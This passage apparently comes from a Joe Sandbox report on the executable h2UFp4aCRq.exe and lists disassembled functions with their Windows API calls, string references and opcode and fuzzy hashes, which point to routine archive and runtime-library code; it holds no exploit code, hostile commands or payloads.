WideCharToMultiByte.KERNEL32 ref: 00007FF655964446
WriteFile.KERNEL32 ref: 00007FF655964479
GetLastError.KERNEL32 ref: 00007FF65596449B

Strings

U, xrefs: 00007FF655964424

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: ByteCharErrorFileLastMultiWideWrite
String ID: U
API String ID: 2456169464-4171548499
Opcode ID: a3c4996b5397ae7c68c43f4944c85cd830f0b958292ccb38960a62bfe152ddee
Instruction ID: 552044d263f04da34a30c94dabd22738d7c15a6936b59761a0676385c13008ff
Opcode Fuzzy Hash: a3c4996b5397ae7c68c43f4944c85cd830f0b958292ccb38960a62bfe152ddee
Instruction Fuzzy Hash: 8241C366618BC182DB108F65E8493B967A0FB88B98F484031EE4ED7789EF3CD845C740

Function 00007FF6559490B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF6559490D9
GetObjectW.GDI32 ref: 00007FF655949107
ReleaseDC.USER32 ref: 00007FF6559491BB

Strings

, xrefs: 00007FF655949153

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: ObjectRelease
String ID:
API String ID: 1429681911-3916222277
Opcode ID: 0b5772d91688d342ea342be5c9c3c9ea07a5ad9e93d570546deb1a9808731c40
Instruction ID: bdf12429366fc851a1708c76e116f01581a0c0f4634fe8a6e0288bc9ffc5d774
Opcode Fuzzy Hash: 0b5772d91688d342ea342be5c9c3c9ea07a5ad9e93d570546deb1a9808731c40
Instruction Fuzzy Hash: 5931203961878287DB14DF12B81862A7761F789FD5F544839ED4A93755CF3CE849CB00

Function 00007FF65593E870 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(?,?,?,00007FF65594317F,?,?,00001000,00007FF65592E51D), ref: 00007FF65593E8BB
CreateSemaphoreW.KERNEL32(?,?,?,00007FF65594317F,?,?,00001000,00007FF65592E51D), ref: 00007FF65593E8CB
CreateEventW.KERNEL32(?,?,?,00007FF65594317F,?,?,00001000,00007FF65592E51D), ref: 00007FF65593E8E4

Strings

Thread pool initialization failed., xrefs: 00007FF65593E900

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: 6610cce2f1ff4f40d78c24fcbab0d777ace7136147ab701da82aad1b7a389e44
Instruction ID: 27e520dbd783e1f98d3ce21c2bfe88f48ad4e9486d4ec0197352078afb23e304
Opcode Fuzzy Hash: 6610cce2f1ff4f40d78c24fcbab0d777ace7136147ab701da82aad1b7a389e44
Instruction Fuzzy Hash: 7421A236E15682C6F7508F24D4487B936E2EB98F0CF1D8038CA0D9A296DF7EAC55C784

Function 00007FF6559485E0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF6559485EC
GetDeviceCaps.GDI32 ref: 00007FF6559485FD
ReleaseDC.USER32 ref: 00007FF65594860A

Strings

, xrefs: 00007FF655948610

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: CapsDeviceRelease
String ID:
API String ID: 127614599-3916222277
Opcode ID: a42f7bf34e2550c06df92b4c4441a28b155cc5d7cfc3f2a0da00e80f490195b4
Instruction ID: 0df41683e291d4d4846fb4c2995a282197a58a79db27d893df1cae252b5ceb25
Opcode Fuzzy Hash: a42f7bf34e2550c06df92b4c4441a28b155cc5d7cfc3f2a0da00e80f490195b4
Instruction Fuzzy Hash: 8AE08C24B0868282EB085BB6B59D02A2261AB4CFD0F198439EA1A83795CF3CC8844300

Function 00007FF65592D1A8 Relevance: 6.2, APIs: 4, Instructions: 238timeCOMMON

Download Yara Rule

APIs

SetFileTime.KERNEL32 ref: 00007FF65592D46C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592D554
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592D55A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592D560

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$FileTime
String ID:
API String ID: 1137671866-0
Opcode ID: b1749055231bbdb6a6130f4ebdb939a528d16dbded721961105840a11406723d
Instruction ID: a0c9c52a40278ff5589457410e5572a462f9668c35ded30dc15e882358582a11
Opcode Fuzzy Hash: b1749055231bbdb6a6130f4ebdb939a528d16dbded721961105840a11406723d
Instruction Fuzzy Hash: 59A1D666B18BC281EA10DB64E8481ED6361FFC5B88F445131EA5DA7AEBDF3CE945C700

Function 00007FF655940548 Relevance: 6.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6559405FC
SetLastError.KERNEL32 ref: 00007FF655940697

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 78dc37e4e071e228ed3534b9df95560ad3d484c652abfb19ccc8d1b5f8958ebb
Instruction ID: 023b193cfb55f4bd442ed1a6e97222f438c108c8cbf55b02b7ef048b01758370
Opcode Fuzzy Hash: 78dc37e4e071e228ed3534b9df95560ad3d484c652abfb19ccc8d1b5f8958ebb
Instruction Fuzzy Hash: EE51817AB14A8695EB009B65D4482EC2362FB85FDCF484231DA5DA7B97EF2CE944C340

Function 00007FF655949D90 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF655949DBC
GetLastError.KERNEL32 ref: 00007FF655949E08
CreateDirectoryW.KERNEL32 ref: 00007FF655949F10
LocalFree.KERNEL32 ref: 00007FF655949F20

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: CreateCurrentDirectoryErrorFreeLastLocalProcess
String ID:
API String ID: 1077098981-0
Opcode ID: ca5d27243be9ec8130d03a2fe366c549bde872ce788a203b2958cc7020f45f59
Instruction ID: f7af4c1569f161eacea2ec250fc831e7e00f14879f2c73d8561d4b60adae8b1b
Opcode Fuzzy Hash: ca5d27243be9ec8130d03a2fe366c549bde872ce788a203b2958cc7020f45f59
Instruction Fuzzy Hash: 1B518136A18B8286E7408F61E4583AE77A4FB85F88F541035EA8DA7A55DF3DDC44CB40

Function 00007FF65595DB5C Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF65595DBAF
WideCharToMultiByte.KERNEL32 ref: 00007FF65595DC81
GetLastError.KERNEL32 ref: 00007FF65595DCA4
_invalid_parameter_noinfo.LIBCMT ref: 00007FF65595DCD6

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo$ByteCharErrorLastMultiWide
String ID:
API String ID: 4141327611-0
Opcode ID: fdb879c7c344a6dcddabd48f24568e2f5e84c2dc3f6ceef9c32cec135b3ccbbf
Instruction ID: e26020f65d4c72805d9aad345836b9d6338dda1230b0d5b2e39794602da3a0f2
Opcode Fuzzy Hash: fdb879c7c344a6dcddabd48f24568e2f5e84c2dc3f6ceef9c32cec135b3ccbbf
Instruction Fuzzy Hash: 4841813AA087C246FB659B10D0483796291EFC0F9AF1C8131DA5DE6A97DF6CEE918700

Function 00007FF655933980 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

MoveFileW.KERNEL32 ref: 00007FF6559339BD
MoveFileW.KERNEL32 ref: 00007FF655933A34
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655933AEB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655933AF1

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: FileMove_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3823481717-0
Opcode ID: 9a9a58264430c11791c0c606b390f78d08ba3037c1fa37d6a31b7cedc8df9908
Instruction ID: 23c861c467e614443b1de798ffb245aa7797fdb6f6faa5680e1bf434250b4c23
Opcode Fuzzy Hash: 9a9a58264430c11791c0c606b390f78d08ba3037c1fa37d6a31b7cedc8df9908
Instruction Fuzzy Hash: 3841BE66F14B91C4FB00CBB9D8881AC23B1BF44FA8B195231DE5DA6A9ADF3CD845C240

Function 00007FF655960B78 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF65595C45B), ref: 00007FF655960B91
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF65595C45B), ref: 00007FF655960BF3
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF65595C45B), ref: 00007FF655960C2D
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF65595C45B), ref: 00007FF655960C57

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$Free
String ID:
API String ID: 1557788787-0
Opcode ID: 23704c5f87cc5d65a6a85ab0da0438508b9fc27f2b888927c3d6011bf25654c1
Instruction ID: 4f12e1133e886e0d1eb26e495f8dfeba24b77a9a92538a916c60b0f60424b5be
Opcode Fuzzy Hash: 23704c5f87cc5d65a6a85ab0da0438508b9fc27f2b888927c3d6011bf25654c1
Instruction Fuzzy Hash: 32218435F18BD185EA249F11A49402976E4FB94FD4B0C4134DE8EB3B96DF3CE8568340

Function 00007FF65595D440 Relevance: 6.0, APIs: 4, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF655957F28,?,?,?,00007FF655959D35), ref: 00007FF65595D44A
SetLastError.KERNEL32(?,?,?,00007FF655957F28,?,?,?,00007FF655959D35), ref: 00007FF65595D4B2
SetLastError.KERNEL32(?,?,?,00007FF655957F28,?,?,?,00007FF655959D35), ref: 00007FF65595D4C8
abort.LIBCMT ref: 00007FF65595D4CE

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: ErrorLast$abort
String ID:
API String ID: 1447195878-0
Opcode ID: df247b5a3948333368795c339682862bf84e23f7c025c70b8dad3e7beb060077
Instruction ID: 131a1ccb404cfd585669905b1e2b7bdbfa6bd40b69cfcdb80361181c0744f6cf
Opcode Fuzzy Hash: df247b5a3948333368795c339682862bf84e23f7c025c70b8dad3e7beb060077
Instruction Fuzzy Hash: 1B018028B097C642FA59AB71A65D17811925F84FDAF0C1438D91EE67D7EF2CBD248240

Function 00007FF655948590 Relevance: 6.0, APIs: 4, Instructions: 21COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF655948598
GetDeviceCaps.GDI32 ref: 00007FF6559485AE
GetDeviceCaps.GDI32 ref: 00007FF6559485C2
ReleaseDC.USER32 ref: 00007FF6559485D3

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: de15d0a72ac65e47349a1b4cc9ca260558533dfe27db70e7b1e031f833f09c6c
Instruction ID: 4b66c8a3ed075f469289ddc521626b51460d424d0e1ab132a6a2d3d57084ad6b
Opcode Fuzzy Hash: de15d0a72ac65e47349a1b4cc9ca260558533dfe27db70e7b1e031f833f09c6c
Instruction Fuzzy Hash: 3EE0ED68E0968282FF085B71686D1362190AF48F49F4C843DD81EE6352DF3DE8858611

Function 00007FF65592E34C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 176COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592E549

Strings

DXGIDebug.dll, xrefs: 00007FF65592E35A

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: DXGIDebug.dll
API String ID: 3668304517-540382549
Opcode ID: f6f652c4426adce50dbf435433714115e5776bfcc552121c901ae94cf08821c0
Instruction ID: ee017adab2a26b5693b1502439cfe1816c79cfd793bc33a5546ec499de32748d
Opcode Fuzzy Hash: f6f652c4426adce50dbf435433714115e5776bfcc552121c901ae94cf08821c0
Instruction Fuzzy Hash: 6A71AE76A14B8182EB14CB65E8483ADB3A4FB54BD8F484235DBAC57B96DF7CD861C300

Function 00007FF65595E1F4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF65595E237

Strings

e+000, xrefs: 00007FF65595E2DF
gfff, xrefs: 00007FF65595E362

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: e+000$gfff
API String ID: 3215553584-3030954782
Opcode ID: ffbcb58cc87a1110f60409a8afde5d08377aab6ce8cf060c3284a5669936e3c2
Instruction ID: 734974bb7d6d688c24714188ca3fabff044561427c50d5f1ad463b3a9731c0d1
Opcode Fuzzy Hash: ffbcb58cc87a1110f60409a8afde5d08377aab6ce8cf060c3284a5669936e3c2
Instruction Fuzzy Hash: 1551236AB187C146E7258B3598443696B91EB80F94F4C8275CB9CD7BDACF2DE854C700

Function 00007FF655939408 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6559395A8: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6559395E6

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65593959C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6559395A2

Strings

SIZE, xrefs: 00007FF655939443

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$swprintf
String ID: SIZE
API String ID: 449872665-3243624926
Opcode ID: 95182320ee7b3a48c420107a4992996f84afbbac13f0d5532198c1d22c251322
Instruction ID: 7f71cb7f02cd99dede0840e7022b4f7b267411043bc2d27b961805d9a09da00d
Opcode Fuzzy Hash: 95182320ee7b3a48c420107a4992996f84afbbac13f0d5532198c1d22c251322
Instruction Fuzzy Hash: 4741B466A186C386EE10DF14E4493BD6350EF85B98F594231EA9D966D7EF3CD980C700

Function 00007FF65595C2C0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF65595C2EA
GetModuleFileNameA.KERNEL32(?,?,?,?,?,00007FF655952CD5), ref: 00007FF65595C30B

Strings

C:\Users\user\Desktop\h2UFp4aCRq.exe, xrefs: 00007FF65595C2F9

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: FileModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\h2UFp4aCRq.exe
API String ID: 3307058713-3792028742
Opcode ID: 2b307fc7043d57580c2760bc14d10e66149d3294dbd6a1f00798eb6953a6f573
Instruction ID: 07fae52ec9bbef0b355e0f4aaa056960c7871703da4b60e0fe462fa124620771
Opcode Fuzzy Hash: 2b307fc7043d57580c2760bc14d10e66149d3294dbd6a1f00798eb6953a6f573
Instruction Fuzzy Hash: 3641823AA09B9686EB159F21A8441BC7794EF84FD8B484031EA4EE7746DF3DE851C380

Function 00007FF655949B40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF65592255C: GetDlgItem.USER32 ref: 00007FF6559225AC
Part of subcall function 00007FF65592255C: SetDlgItemTextW.USER32 ref: 00007FF6559225C8

EndDialog.USER32 ref: 00007FF655949C24
SetDlgItemTextW.USER32 ref: 00007FF655949CAA

Strings

ASKNEXTVOL, xrefs: 00007FF655949B72

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: Item$Text$Dialog
